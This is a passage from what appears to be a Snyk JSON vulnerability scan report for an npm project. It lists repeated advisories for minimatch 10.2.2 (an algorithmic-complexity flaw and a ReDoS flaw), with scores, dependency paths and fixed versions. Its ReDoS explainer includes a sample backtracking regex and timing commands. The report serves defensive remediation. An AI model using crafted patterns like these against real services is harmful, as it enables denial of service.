"npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 